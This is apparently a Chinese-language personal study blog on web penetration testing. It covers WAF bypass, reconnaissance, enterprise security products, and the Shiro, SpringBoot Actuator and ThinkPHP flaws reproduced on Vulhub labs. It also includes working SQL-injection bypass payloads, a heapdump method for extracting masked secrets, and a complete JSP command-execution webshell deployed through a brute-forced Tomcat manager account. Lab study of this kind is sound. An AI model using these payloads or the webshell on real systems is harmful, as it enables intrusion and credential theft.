Byron

Web Application Security Research & Exploit Development

1.0 WAF

1.1 简介

WAF (Web应用防火墙, Web Application Firewall) 专门用于保护Web应用免受常见网络攻击的安全工具, 通过监控和过滤HTTP/HTTPS流量, 阻止各种基于Web应用的攻击, 如: SQL注入, XSS, include_file等…

1.2 WAF工作原理

WAF位于用户与Web服务器之间, 作为过滤层检查进入和离开服务器的流量. 当用户请求到达Web应用时, WAF会根据预定义的规则对这些请求进行分析, 并阻止符合攻击特征的请. 例如:

  • 阻止恶意SQL查询, 防止SQL注入攻
  • 拦截恶意的JavaScript代码, 防止XSS
  • 检测文件上传请求中的恶意文件

1.3 WAF的防护原理

WAF之所以能够起到对网络应用的防护作用, 主要是基于以下手段:

  1. 异常检测机制: 拒绝不符合HTTP标准的请求;
  2. 黑名单 / 白名单;
  3. 基于规则和异常的保护: 定义安全规则或异常状态, 对服务器进行安全防护;
  4. 扫描器识别: 对于扫描器特征会进行识别以及拦截

1.4 WAF的类型

  1. 软件型WAF: 本身是一个软件, 部署在服务器上, 检测是否存在Web攻击;

  2. 硬件型WAF: 本身是一款硬件, 可以有多种部署方式, 如果是串联到链路中, 则可以拦截恶意流量, 如果是以旁路的形式部署, 则只能记录攻击但是不能拦截. 硬件型WAF一般而言比软件型WAF更加昂贵, 但是检测速度快, 不易成为网站瓶颈.

  3. 云WAF: 云WAF简单理解为带有WAF功能的CDN, 因为其实现机理与CDN基本相同, 都是通过更改目标站点的DNS记录, 使其指向云WAF, 然后对站点的访问进行过滤. 云WAF通常以反向代理的方式进行工作, 其最大的优点是方便快捷, 但是如果攻击者能够找到站点的真实IP地址, 那么云WAF就存在被直接绕过的风险.

  4. 站点内置WAF: 站点内置WAF, 即网站的开发者考虑到站点的安全性, 将一些过滤功能写成代码, 嵌入到站点内, 或者直接嵌入到页面代码中, 或者以一个单独的文件列出, 然后被相关页面所引用. 这种WAF的灵活性非常高, 因为是直接开发在页面上, 因此可以针对一项非常具体的业务, 乃至一个微小的功能来实现检测和规律, 但是相应的其通用型就比较低了.

1.5 常见WAF特征

  1. 360 Firewa

    1
    2
    3
    拦截状态码 493
    响应头包含: X-Powered-By-360WZB
    引用指向: http://wangshen.360.cn
  2. 阿里云盾

    1
    2
    拦截状态码 405
    引用指向http://errors.aliyun.com
  3. AWS

    1
    2
    拦截状态码为403
    响应内容头部server包含"AWS"
  4. 百度云加速

    1
    server字段可能会为”Yunjiasu-nginx"或"Yunjiasu"
  5. Cloudflare

    1
    2
    3
    ![1](1.png)响应头部: 可能有cf-ray字段; server字段包含”cloudflare";Set-Cookie包含"__cfuid=".
    响应内容: 可能包含"Attention Required!"或"Cloudflare Ray ID:"; 请求无效URL会有"CLOUDFLARE
    _ERROR_500S_BOX"返回

1.6 WAF 部署

01 安全狗

网站安全狗是一款服务器安全防护软件, 是为IDC运营商, 虚拟主机服务商, 企业主机, 服务器管理者等用户提供服务器安全防范的实用系统, 是集网站内容安全防护, 网站资源保护及网站流量保护功能为一体的服务器工具.

官网:

1
https://www.safedog.cn/website_safedog.html

安全狗是基于Apache服务才能扫描Apache文件使得安装成功, 在安装安全狗之前需先将Apache安装为服务

  1. 管理员命令提示符安装服务

    1
    httpd.exe -k install -n apache2.4

  2. 服务启动

  3. 程序安装&目录配置

  4. 验证


02 雷池WAF(长亭科技)

参考官方安装部署文档

1
https://help.waf-ce.chaitin.cn/node/

2.0 WAF绕过

靶场: Windows10 PHPStudy sqli-labs


WAF绕过本质: WAF检测规则识别不到输入的敏感字符, 即利用WAF规则漏洞进行绕过.


01 数据绕过

  1. 大小写绕过: 如: union select 改为 UniON SeLeCt

  2. 参数加解密绕过: database()使用base64加密为 ZGF0YWJhc2UoKQ==

  3. 参数编码解码绕过: 针对WAF过滤的字符编码, 如使用URL编码, Unicode编码, 十六进制编码, Hex编码等…

  4. 使用特殊符号绕过

  5. 使用等价函数, 同义符号绕过 如: and 等价于&&

  6. 注释符混用绕

  7. 内联注释绕过: 如: 安全狗对database()函数进行拦截, 因此, 可以改写为database/**/() 或 union selecte=/*!union*/ select, 注释符中感叹号后面的内容会被mysql执行

  8. 双关键字绕过: 如: script 写为 ScscriptRipt

  9. HTTP参污染: 对目标发送多个参数, 如果目标没有多参数进行多次过滤, 那么WAF对多个参数只会识别其中的一个. 如: ?id=1&id=2&id=3 或?id=1/**&id=-1%20union%20select%201,2,3%23*/


02 数据提交绕过

更改数据提交方式: GET方式改为POST提交


03 其他方式

  1. FUZZ工具绕过
  2. 数据库特性绕过

2.1 绕过实战

基于sqli-labs Less-1 + 安全狗; 内联注释方式绕过


01 靶场访问传入?id=1'--+

页面正常返回参数


02 传入?id=1' and 1=1--+

页面触发WAF被拦截


03 分析: 手工测试WAF拦截点

  • ?id=1’ and–+ (页面正常报语法错误)
  • ?id=1’ and 1–+ (触发WAF拦截)

可以确定WAF触发点→and与1


04 利用BurpSuite爆破

基于内联注释爆破

成功爆破绕过, 且长度为935的均为可绕过字符


05 探测列数

  • ?id=1’ order by –+ 触发拦截
  • 手工验证, 确定触发点为order by函数, 且可内联注释的点为空格位置
  • 使用上一步爆破的可绕过注释符

成功绕过并探测出列数=3


06 爆库

1
?id=-1' union/*/-*!!*/select 1,database/*/-*!!*/(),3--+

1.0 信息收集

本文详细梳理信息收集全流程


给我一个公司名, xx有限公司, 应该怎样去做信息收集?

1.1 企业主体与主域名确认

  1. 企查查, 天眼查;

  2. 工信部服务平台

    …

信息整理:

主体 备案号 主域名
xx有限公司 ICP备xx.. target.com

1.2 子域名信息收集

  1. FOFA
  2. 搜索引擎语法
    • site:target.com
  3. 子域名挖掘工具:
    • OneForAll
      • 主动+被动
      • 结果更全, 但是慢
      • 自带解析
    • subfinder
      • 被动收集, 只查不扫, 不会触发WAF
      • 速度快, 适合批量扫描
  • FOFA 子域名收集: (以百度为例)

    1
    domain="baidu.com"

  • OneForAll

    1
    2
    3
    uv run oneforall.py --target target.com run
    uv run oneforall.py --targets domain.txt run # 读文件
    # 结果在 results下
  • subfinder

    1
    2
    3
    subfinder -d target.com
    subfinder -d target.com -o subs.txt # 输出结果到文件
    subfinder -dL domains.txt -o all_subs.txt # 从文件读

1.3 小程序&APP信息收集

  1. 通过小蓝本进行收集
  2. 工信部服务平台

1.4 存活探测

子域名拉取后, 存在大量死链, 下一步进行资产过滤

  • httpx

    1
    2
    3
    4
    5
    6
    7
    # 基础用法: 只看哪些域名活了
    cat subs.txt | httpx -silent
    # 带状态码, 标题, 技术栈(常用)
    cat subs.txt | httpx -silent -sc -title -tech-detect
    # 输出到文件
    cat subs.txt | httpx -silent -sc -title -o live.txt
    httpx -l subs.txt -silent -sc -title -tech-detect -o live.txt (更常用)

1.5 指纹识别

  1. 浏览器插件 Wappalyzer
  2. httpx 批量识别 (-tech-detect)

1.6 真实IP收集

如何判断网站使用了CDN?

  1. 多地Ping: 若IP结果不唯一, 则使用了CDN

  2. DNS解析: 返回多个IP

  3. HTTP响应头分析: 使用 curl -I 查看响应头, 出现 Server: cloudflare, X-Cache 等字段

    1
    2
    # 站长工具
    https://ping.chinaz.com/

如何绕过CDN?

  1. 很多网站只对主站或者高流量子站做CDN, 若使用真实IP的子站和主站处于同一个服务器或者C段, 则可通过子站IP辅助查找主站真实IP

  2. 历史DNS记录

    1
    2
    3
    4
    # 微步
    https://x.threatbook.com/
    # ip138
    https://www.ip138.com/
  3. 国外访问

    1
    https://ping.pe/
  4. 邮箱服务: 查看邮件头 Received 字段


1.7 端口信息收集

目标: 在存活资产基础上发现开放端口, 为服务识别和 Web 入口扩展做准备
原则: 先快后慢, 先全后精, 控制速率

扫描策略:

  • 先对存活 IP 做常见端口快速扫描
  • 再对重点 IP 做全端口扫描
  • 最后用 nmap 对开放端口做精细识别
  • CDN/WAF 资产先尝试找真实 IP, 再扫端口
  • 非标端口发现后, 重新用 httpx 探测 Web 服务

常用工具:

naabu: 快速对全端口进行扫描

1
2
3
4
# 1. 常见端口快速扫描
naabu -l live_ips.txt -top-ports 1000 -rate 1000 -o common_ports.txt
# 2. 重点 IP 全端口扫描
naabu -l key_ips.txt -p - -rate 1000 -o all_ports.txt

nmap 精细识别

1
2
3
4
# 常见 Web 端口
nmap -sV -sC -Pn -iL live_ips.txt -p 80,443,8080,8443,8000,9000,9443 -oA nmap_web
# 全端口精细扫描,速度较慢
nmap -sV -sC -Pn -p- --min-rate 1000 -iL live_ips.txt -oA nmap_full

1.8 Web信息收集

目录信息收集:

dirsearch工具

1
dirsearch -u https://target.com -e *

浏览器插件FindSomething


1.0 企业安全产品

以下产品分析围绕此维度展开:

  1. 产品作用是什么? 解决了什么问题?
  2. 产品工作原理, 为什么能够实现某个功能/目的?
  3. 怎么操作? 重点功能是什么?

实际建设中,单一安全产品很难覆盖所有风险,通常需要按“边界防护、终端防护、应用防护、运维审计、检测响应、威胁诱捕、远程接入”等方向组合,形成纵深防御体系。


1.1 杀毒软件

  • 检测、预防和清除计算机病毒、恶意软件、木马、蠕虫等恶意程序的安全软件。
  • 作用:解决终端侧已知恶意代码的查杀问题,提供基础实时防护、病毒扫描、文件监控和漏洞修复能力。
  • 原理:通过病毒特征库匹配、启发式检测、行为监控、云查杀、沙箱分析等方式识别恶意文件或进程。特征库负责已知威胁,启发式和行为分析用于补充未知威胁。
  • 重点功能:实时防护、全盘/自定义扫描、隔离区、白名单、病毒库更新、漏洞修复、日志告警。
  • 常见产品:360、火绒、Windows Defender、卡巴斯基等;

1.2 终端安全 EDR

  • EDR(Endpoint Detection and Response,端点检测与响应)是对端点设备如计算机、服务器、移动设备等进行持续监控、检测和响应的安全技术。
  • 作用:识别并应对复杂安全威胁,弥补传统杀毒软件只依赖特征库、难以发现高级威胁和横向移动的不足。
  • 原理:在终端部署 Agent,持续采集进程、文件、注册表、网络连接、命令行、账号等遥测数据;结合 IOC、行为规则、机器学习、威胁情报和云端关联分析,发现异常行为,并支持隔离、阻断、取证等响应动作。
  • 重点功能:实时监控与数据采集、行为分析与威胁检测、自动化响应与修复、事件管理与取证、可视化与报告、威胁狩猎。
  • 常见产品:CrowdStrike、SentinelOne、Microsoft Defender for Endpoint、奇安信天擎、深信服 EDR、火绒企业版等。

1.3 防火墙

  • 防火墙是一种网络安全设备或软件,用于监控和控制网络流量,根据预设安全规则允许或拒绝数据包通过。
  • 作用:实现网络边界访问控制、区域隔离、NAT、VPN、流量日志记录,限制未授权访问。
  • 原理:检查每个通过数据包的头部信息,如源地址、目标地址、端口号、协议类型等,并根据预设规则决定是否允许该数据包通过。现代防火墙还支持状态检测、应用识别、入侵防御、URL 过滤等能力。
  • 类型:个人电脑防火墙、企业防火墙、云防火墙、下一代防火墙 NGFW。
  • 部署位置:个人电脑、企业内部、网络边界、云服务器、VPC 边界等。
  • 重点功能:安全区域、接口与路由、NAT、访问控制策略、会话表、日志监控、默认拒绝、最小化放行。

1.4 WAF

  • WAF(Web Application Firewall,Web 应用防火墙)是专门保护 Web 应用程序和 API 的安全设备或服务。
  • 作用:通过过滤、监控和阻止恶意网络流量及应用层攻击,确保 Web 应用的安全性和数据保护。
  • 原理:通常以反向代理、透明代理或云服务方式解析 HTTP/HTTPS 流量,基于规则匹配、语义分析、机器学习、IP 信誉、频率控制等识别 SQL 注入、XSS、命令执行、文件上传、CC 攻击等。
  • 部署方式:云 WAF、硬件 WAF、软件 WAF、容器 WAF;可串联部署,也可通过流量牵引方式接入。
  • 重点功能:Web 应用安全防护、CC 攻击防护、精准访问控制、虚拟补丁、攻击事件管理、数据安全保护、白名单与误报调优。

1.5 IDS/IPS

  • IDS(Intrusion Detection System,入侵检测系统)用于检测网络或主机中的入侵行为并告警。
  • IPS(Intrusion Prevention System,入侵防御系统)在检测基础上进一步阻断攻击流量。
  • 作用:发现扫描、漏洞利用、恶意流量、暴力破解、木马通信等攻击行为,解决“看不见攻击”和“无法及时阻断”的问题。
  • 原理:通过特征匹配、协议解析、异常行为分析、威胁情报等方式识别攻击。IDS 通常旁路部署,镜像流量检测;IPS 通常串联部署,在线阻断。
  • 重点功能:规则更新、告警分级、阻断策略、白名单、流量抓包、日志联动、与防火墙/态势感知联动。
  • 注意点:IPS 串联部署时误报可能影响业务,需要充分测试和调优。
  • 常见产品:Snort、Suricata、Zeek、深信服 IPS、启明星辰天清等。

1.6 态势感知

  • 态势感知是面向全局安全数据的综合分析与展示平台,通常融合 SIEM、SOC、威胁情报、UEBA、SOAR 等能力。
  • 作用:解决安全数据分散、告警过多、事件关联困难、响应慢的问题,帮助安全团队“看清资产、看清威胁、看清攻击链”。
  • 原理:采集流量、终端、日志、漏洞、资产、账号、威胁情报等多源数据,通过大数据存储、关联分析、规则模型、机器学习和攻击链还原,形成安全态势、告警、工单和报表。
  • 重点功能:资产梳理、日志接入、规则与模型配置、安全看板、告警处置、攻击溯源、工单闭环、报表输出。
  • 常见产品:奇安信态势感知、深信服 SIP、阿里云云安全中心、Splunk、ELK 等。

1.7 堡垒机

  • 堡垒机是集中运维审计与访问控制系统,用于管理服务器、网络设备、数据库等资产的运维入口。
  • 作用:解决运维账号共享、权限混乱、操作无审计、事后难溯源等问题,实现“事前授权、事中监控、事后审计”。
  • 原理:通过代理或网关方式接管 SSH、RDP、数据库等协议,统一认证、账号映射、权限控制、会话录制、命令审计和密码托管。
  • 重点功能:资产纳管、用户与角色、授权策略、双人授权、会话录像、命令阻断、密码托管、操作报表、工单审批。
  • 常见产品:JumpServer、齐治、行云管家、深信服堡垒机等。

1.8 蜜罐

  • 蜜罐是一种主动防御技术,通过部署仿真服务、系统或漏洞,诱捕攻击者并记录其行为。
  • 作用:发现扫描、探测、入侵和横向移动,收集攻击情报,拖延攻击时间,弥补传统检测手段对未知威胁的不足。
  • 原理:蜜罐伪装成真实业务或脆弱系统,吸引攻击者访问。攻击者一旦交互,系统即记录 IP、工具、payload、攻击路径等信息,并产生高置信度告警。
  • 类型:低交互蜜罐、高交互蜜罐、蜜网、欺骗防御系统。
  • 重点功能:仿真服务、端口监听、告警联动、攻击取证、IOC 提取、封禁联动。
  • 注意点:部署时需做好隔离,避免蜜罐被攻陷后成为跳板;同时注意隐私与合规。
  • 常见产品:T-Pot、HFish、奇安信蜜罐、默安幻阵等。

1.9 VPN

  • VPN(Virtual Private Network,虚拟专用网络)用于在公网上建立加密隧道,实现远程安全接入或分支互联。
  • 作用:解决远程办公、运维接入、分支通信中的传输安全和身份认证问题,让用户安全访问内网资源。
  • 原理:通过 IPsec、SSL/TLS、WireGuard、OpenVPN 等协议,对数据进行加密、封装和认证,在客户端与 VPN 网关之间建立安全隧道。
  • 类型:IPsec VPN、SSL VPN、远程接入 VPN、站点到站点 VPN。
  • 重点功能:用户认证、证书管理、MFA、权限控制、隧道配置、客户端管理、访问日志、审计。
  • 安全建议:不要只认证不授权,应遵循最小权限原则;及时修补 VPN 设备漏洞;开启 MFA;记录并审计登录与访问行为。
  • 常见产品:OpenVPN、WireGuard、Cisco AnyConnect、深信服 SSL VPN、华为 VPN 等。

1.10 常见组合思路

  • 边界防护:防火墙 + IPS + WAF + VPN
  • 终端防护:杀毒软件 + EDR
  • 应用防护:WAF + 代码审计 + RASP
  • 运维审计:堡垒机 + 日志审计 + 数据库审计
  • 检测响应:IDS + 态势感知 + 蜜罐 + SOAR
  • 体系建设原则:最小权限、默认拒绝、纵深防御、零信任、持续验证、闭环响应。

安全产品不是越多越好,而是要根据业务场景、资产重要程度、攻击面和运维成本进行选型与联动。单点产品解决单点问题,体系化协同才能提升整体安全效果。

Environment: JDK8 & Docker & Vulhub

Tools: BurpSuite ShiroAttack2 ShiroScan SB-Actuator JDumpSpider heapdump_tool


1.0 组件和框架漏洞

组件: 通常是指在软件开发中可重复利用部件或模块, 具有特定的功能或特性, 可以独立使用或集成到更大的系统中. 组件可以包括各种类型, 例: 前端UI组件, 后端服务组件, 安全组件, 数据处理组件等, 它们可以通过接口或API进行交互和集成, 构建出复杂的软件系统.

框架: 是一种软件开发工具或平台, 它提供了一套结构和规范, 用于帮助开发人员构建和组织软件应用程序. 框架通常包含了一些通用的功能模块, 设计模式, 工具和规范, 开发人员可以基于框架快速开发应用程序而不必从头开始编写所有代码

三大组件漏洞一览表:

以下本文复现三大组件经典漏洞概述表.

组件 语言 典型漏洞 指纹特征 利用难度
Shiro Java 反序列化 rememberMe 中
SpringBoot Java Actuator未授权 /actuator 低
ThinkPHP PHP RCE ThinkPHP标识 低

1.1 Apache Shiro-550 漏洞

01 漏洞基本信息:

Apache Shiro是一个安全组件, 用于在Java程序中提供身份验证, 授权, 加密等安全功能.

Shiro-550属于Apache Shiro项目的历史漏洞, 存在于RememberMe功能中.

  • RememberME:

    • 功能: 提供账户记忆功能, 勾选后下次访问无需重新登录
    • 特点: 若用户勾选此选项, 请求数据包Cookie字段会多出一组数据(包含经过加密的身份信息,)
  • RememberME机制:

    加密过程

    1
    用户身份信息 → Java序列化 → AES 加密(用密钥 key) → Base64编码 → 存入rememberMe Cookie

    解密过程

    1
    取出rememberMe Cookie → Base64 解码 → AES 解密(用密钥 key) → Java反序列化 → 恢复用户身份

    服务器对Cookie进行反序列化, 攻击者若能控制解密后的字节流, 就能让服务器反序列化一个恶意对象

    以上RememberME机制图解

02 漏洞成因:

条件1: AES 密钥硬编码 (<=1.2.4)

在 Shiro 1.2.4 及更早版本中, AbstractRememberMeManager 类里有这样一段代码:

1
2
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
// 密钥写死在源码, 所有Shiro应用默认使用同一密钥

Shiro 1.2.5 之后改为每次启动随机生成密钥, 但如果开发者手动配置了弱密钥或密钥泄露, 仍然存在风险.

条件 2: Java 反序列化 + 可利用 Gadget

攻击者需要目标应用的 classpath 中存在**可利用的 gadget chain **(一组能在反序列化时触发任意代码执行的类组合), 常见的有:

  • Commons-Collections

  • Commons-Beanutils (Shiro 自身依赖, 几乎必中)

  • Spring AOP

  • JDK 原生链

两个条件同时满足 → 攻击者可以构造一个包含恶意 gadget 的序列化对象, 用已知密钥加密后放入 Cookie, 服务器反序列化时触发 RCE.


1.2 CVE-2016-4437 (漏洞实战)

注: 靶场基于Docker-Vulhub (/vulhub/shiro/CVE-2016-4437)

攻击链:

以下完整攻击链图解



01 确认目标

想要快速对目标进行针对性测试, 首先需要知道目标是否使用该组件. 一般来讲, 如果一个网站里存在了记住密码的功能, 大概率使用了该组件.


  • 方式1:

    查看响应头是否存在: Set-Cookie: rememberMe=deleteMe

    存在Set-Cookie: rememberMe=deleteMe, 确定网站使用Shiro组件.

    也可手工在请求包Cookie添加rememberMe=1

  • 方式2: 使用BurpSuite插件ShiroScan

    工具识别特征: 正确rememberMe字段值返回为空; 错误字段值返回rememberMe=deleteMe


02 漏洞利用

通过对目标验证, 确认存在漏洞, 下一步动作: 漏洞利用

Shiro漏洞利用工具: ShiroAttack2

项目地址:

1
https://github.com/SummerSec/ShiroAttack2

成功爆破密钥并通过Commons-Beanutils攻击链实现RCE


03 漏洞修复与防御

  • 升级 Shiro 版本到 1.2.5 及以上(密钥随机生成);
  • 自定义强密钥: 在 shiro.ini 或 Spring 配置中设置 cipherKey 为随机生成的 128/256 位密钥;
  • 升级依赖库: 移除或升级存在已知 gadget 的库(Commons-Collections 等);
  • WAF 规则: 检测异常长的 rememberMe Cookie 值;
  • 最小权限: 应用服务以低权限运行, 降低 RCE 后的危害.

1.3 SpringBoot Actuator未授权漏洞

01 基础:

Spring是java web开发常见的框架, SpringBoot是 Pivotal 团队(Spring 官方团队), 开发的快速开发框架, 基于 Spring Framework, 简而言之, SpringBoot就是一个轻量级, 简化配置和开发流程的web整合框架.

Actuator是SpringBoot框架中的功能模块, 它提供了一系列用于监控和管理SpringBoot应用程序的端点(endpoints). 这些端点可以通过HTTP, JMX(Java Management Extensions)或其他一些远程方式访问, 用于查看应用程序的各种运行时信息和健康状态.

SpringBoot Actuator未授权访问漏洞: 攻击者未进行身份验证的情况下访问敏感的管理端点, 从而获取关键应用程序信息或执行某些管理操作. 这种漏洞的存在可能导致严重的安全问题, 如: 信息泄露, 应用程序篡改或拒绝服务攻击.

02 端点信息:

SpringBoot 1.x版本默认内置路由根路径以/开始, 2.x 统一以 /actuator 开始, springboot 1.x 的Actuator Web所有端点默认开启,可直接使用. Springboot 2.xActuator Web端点只有/health和/info默认开启, 访问其它端点, 需要在配置文件application.properties中配置开启.

SpringBoot Actuator主要功能包括:
  1. 健康检查(Health Check): 提供一个用于检查应用程序健康状况的端点. 通过访问/actuator/health端点, 可以查看应用程序是否正常运行. 它对于实时监控应用程序的健康状态和故障排查非常有用.

  2. 应用程序信息(Application Information): 提供了关于应用程序的一些基本信息, 如应用程序名称, 版本号, 描述等, 通过访问/actuator/info端点, 可以获取这些信息.

  3. 环境配置信息(Environment Information): 提供了应用程序的配置属性信息. 通过访问/actuator/env端点, 可以查看应用程序配置属性及其值.

  4. 线程转储(Thread Dump): 提供了获取应用程序线程转储的端点, 通过访问/actuator/threaddump端点, 可以查看应用程序线程当前状态, 用于分析线程问题和死锁情况.

  5. 度量指标(Metrics): 提供了关于应用程序性能和资源利用的度量信息. 通过访问/actuator/metrics端点, 可以查看请求统计, 内存使用, 垃圾回收等指标.

  6. 管理端点(Management Endpoints): 除了上述常用端点外, Actuator还提供了其他管理端点, 如刷新配置, 关闭应用程序等…

    重点关注: info & health端点一般不会被认定为漏洞, 不包含有害信息; env端点若能获取到信息必定有漏洞, metrics端点可能存在接口泄露或包含Cookie & Token & JWT信息.

  • 影响范围统计:

    SpringBoot版本 默认开放端点 风险等级
    < 1.x 所有端点 高危
    2.0.x - 2.3.x 仅 /health 和 /info 中危 (info)
    ≥ 2.4.0 仅 /health 低危

    SpringBoot Actuator 端点默认开放, 攻击者通过访问这些敏感管理端点, 获取关键应用程序信息或执行某些管理操作.


03 组件探测:

  • 方式1: 通过网站图标

    SpringBoot 框架网站加载默认会有如下图”树叶”图标

  • 方式2: 通过报错页面

  • 方式3: 通过脚本工具

    工具:

    • dirsearch

      1
      uv run dirsearch.py -u "10.0.0.10" -e *
    • SB-Actuator (SpringBoot Actuator 未授权访问漏洞专用命令行检测工具)

      项目地址:

      1
      https://github.com/rabbitmask/SB-Actuator

      使用方式:

      1
      uv run SB-Actuator.py -u http://10.0.0.10:8080

04 漏洞利用

env信息脱敏利用(heapdump内存信息提取)

SpringBoot actuator 会将一些带有敏感关键词字, 例: password, secret, command的属性名对应的属性值用* 号替换达到脱敏的效果.

  1. 访问漏洞网站的/actuator/env或env目录确认有信息泄露

    /actuator/env/信息泄露, 但关键信息为密文.

  2. 通过访问/actuator/heapdump下载内存数据 heapdump

  3. 工具提取heapdump内存数据文件

    • JDumpSpider (一次性提取所有数据)
    • heapdump_tool (动态读取, 自定义需要提取的值)
  4. JDumpSpider 提取数据

    1
    java -jar JDumpSpider.jar heapdump > a.txt

    通过JDumpSpider将heapdump数据提取并重定向到文本文件a.txt

    加密属性sun.java.command经过工具提取, 属性值成明文.

env信息脱敏利用逻辑分析:

  • SpringBoot脱敏只发生在”输出阶段” (写HTTP响应时)

    访问/actuator/env/时, SpringBoot会调用Sanitizer(净化器)类来序列化数据, 遍历所有 PropertySource, 检查属性名的关键字如: password, secret, command, key 等. 若匹配关键字, 它会用 ****** 替换该属性的 value 字符串, 然后再将这个被替换后的 JSON 输出给浏览器. (只读副本替换, 未修改JVM 堆内存中原有的 String 对象)

  • HeapDump 抓取的是“存储阶段”(内存中的原始对象)

    /actuator/heapdump 端点利用 JVM 的 hprof 二进制格式, 将整个 JVM 堆内存(Heap)原封不动地序列化并导出为文件. 直接读取 JVM 运行时数据区的所有字节, 导出的 heapdump 文件中, 包含未被脱敏的原始字符串

  • 工具: 绕过输出阶段, 直接读取存储阶段的数据.

    JDumpSpider 在本地运行, 完全脱离 SpringBoot 控制

    工具逻辑链:

    • 解析结构: 解析 .hprof 文件的二进制格式, 重建出 JVM 中的对象图(Object Graph)
    • 定位目标: 它内置针对SpringBoot的 “爬虫规则” Spider, 专门去查找 OriginTrackedMapPropertySource, MutablePropertySources 或 System.getProperties() 对应的 Hashtable 实例.
    • 深度遍历: 遍历这些 Map 或 Properties 对象的 Entry(键值对). 当找到键为 sun.java.command 的 Entry 时, 它会顺着该 Entry 的 value 引用, 直接读取内存中那个 String 对象的 char[] 数组.
    • 还原明文: 将 char[] 重新编码为 Java 字符串并打印.

为什么脱敏无法保护内存 ?

  • 传输/展示安全: ****** 只保护了”网络传输” 和 “页面展示”这一瞬间.
  • 运行时安全: 只要程序要使用这个路径去启动 JAR 包, 那么 JVM 的类加载器(ClassLoader) 就必须持有这个字符串的明文引用.

1.4 ThinkPHP漏洞

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架. 很多cms(内容管理系统)都是基于ThinkPHP二次开发, 所以ThinkPHP出问题, 会影响很多基于ThinkPHP开发的网站.

以下案例基于Vulhub/thinkphp/2-rce

01 框架探测

  • 通过网站图标及其默认页面

    FOFA等工具输入关键字ThinkPHP探测

02 漏洞发现

  • 通过脚本工具

    • TPscan

03 漏洞利用

自动化利用工具获取权限(LiqunKit)

工具成功发现漏洞ThinkPHP_2-RCE

通过命令执行验证


Environment: Tomcat-11.0.22 & JDK-17.0.12 & Docker & Vulhub

Tools: BurpSuite WeblogicScan

1.0 中间件安全

1.1 什么是中间件?

中间件(Middleware) 是指一种软件组件, 作用是在不同系统, 应用程序或服务之间传递数据和消息, 通常位于应用程序和操作系统之间, 负责在不同的应用程序之间传递数据, 协调不同应用程序之间的通信, 以及处理网络请求等.

中间件通常是插件式架构, 允许被集成到现有应用程序中, 可提供如: 身份验证, 授权, 缓存, 负载均衡, 日志记录, 安全性等功能, 以求简化应用程序的开发和部署过程.

  • 广义: 涵盖了从web服务器到身份验证系统, 再到消息传递等一切内容
  • 具体: Jboss Weblogic Tomcat Apache等

1.2 中间件漏洞

中间件漏洞是指在中间件软件中存在的安全漏洞, 通常包含以下几种:

  1. 代码注入漏洞: 向中间件发送恶意代码, 执行任意代码或获取敏感数据;
  2. 跨站脚本漏洞: 在中间件输出的网页中插入恶意脚本, 来窃取用户信息或进行其他恶意行为;
  3. SQL注入漏洞: 对中间件输入的SQL查询中插入恶意代码, 执行任意SQL查询或获取敏感数据;
  4. 认证和授权漏洞: 攻击者可以利用中间件的认证和授权机制的漏洞, 来绕过访问控制, 获取系统权限;
  5. 文件包含漏洞: 攻击者可以利用中间件的文件包含功能, 来包含恶意文件并执行任意代码.

2.0 Tomcat

Tomcat是一个开源的Java Servlet容器, 由Apache软件基金会开发, 它可以作为独立的Web服务器或应用服务器, 也可以作为其他Web服务器的插件来使用, 如Apache HTTP Server.

Tomcat支持Java Servlet, JavaServer Pages(JSP), Java Expression Language(EL)和WebSocket等Java技术, 并提供了许多企业级特性, 如集群, 安全性和可扩展性.


2.1 Tomcat密码爆破到WAR包部署

01 环境准备

  • 环境需要有本地JDK≥ 17

  • Tomcat 11

    以上环境仅本案例配置组合, JDK≥ 17只针对Tomcat 11版本

    • conf/tomcat-users.xml 文件添加用户

      1
      2
      3
      <role rolename="manager-gui"/>
      <role rolename="manager-script"/>
      <user username="admin" password="123456" roles="manager-gui,manager-script"/>
  • 启动服务并访问本地8080端口

  • 管理后台访问

    访问/manager/html 或点击 Manager APP


02 Tomcat账号爆破

  • 访问Tomcat登录页面, 抓取登录包

    Authorization字段包含一串字符串

    字符串: username:password→Base64

  • 数据包发送到Intruder进行账户爆破

  • 成功爆破数据


03 WAR包部署

WAR(Web Application Archive) 是一种Web应用程序的打包格式, 用于将Web应用程序打包成一个单独的文件, 便于部署和分发. WAR文件实际上是一种JAR(Java Archive)文件, 其中包含了Web应用程序的全部内容, 包括Java类, HTML, JSP, Servlet, XML配置文件, 静态资源 (如图片, CSS, JavaScript文件等). WAR文件还可以包含一些特定Web应用程序的配置文件, 例如web.xml, context.xml等.

WAR文件通常是通过Web服务器部署的, 例如Tomcat, Jetty等. 在部署Web应用程序时, Web服务器会将WAR文件解压缩并将其部署到指定的目录中, 然后启动Web应用程序. 通过将Web应用程序打包成WAR文件, 可以方便地将应用程序部署到不同的Web服务器中, 也可以方便地将应用程序分发给其他人使用.


  • 制作war包

    将以下JSP马保存为.jsp文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null){
    String s = null;
    try{
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
    while((s = sI.readLine()) != null){
    output += s +"\r\n";
    }
    }catch(IOException e){
    e.printStackTrace();
    }
    }
    out.println(output);
    %>
  • 将.jsp文件压缩为zip, 修改后缀为war

  • 登录Tomcat管理后台, 上传war包

    上传成功后应用程序会识别到项目

  • 访问页面不会有报错, 且网络能加载识别到对应文件

  • webshell

    路径: http(s)://网站域名/war包名/jsp文件

    1
    http://127.0.0.1:8080/test/test.jsp?cmd=ipconfig

    成功写入webshell实现RCE


3.0 Weblogic

Weblogic Server是Oracle开发的一款适用于云环境和传统环境应用服务中间件, 是基于JavaEE架构的中间件, 它提供了一个现代轻型开发平台, 用于开发, 集成, 部署和管理大型分布式web应用, 网络应用和数据库应用的Java应用服务器, 将java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发, 集成, 部署和管理中.

weblogic特征:


3.1 Weblogic 历史漏洞发现及利用

01 资产获取

  • shodan, fofa, zoomeye…

  • 默认端口: 7001

    1
    fofa: app="BEA-WebLogic-Server" && country!="CN"

02 环境准备

系统 角色 环境
Ubuntu 靶机 基于Docker的Vulhub靶场/vulhub/weblogic/weak_password(弱口令)
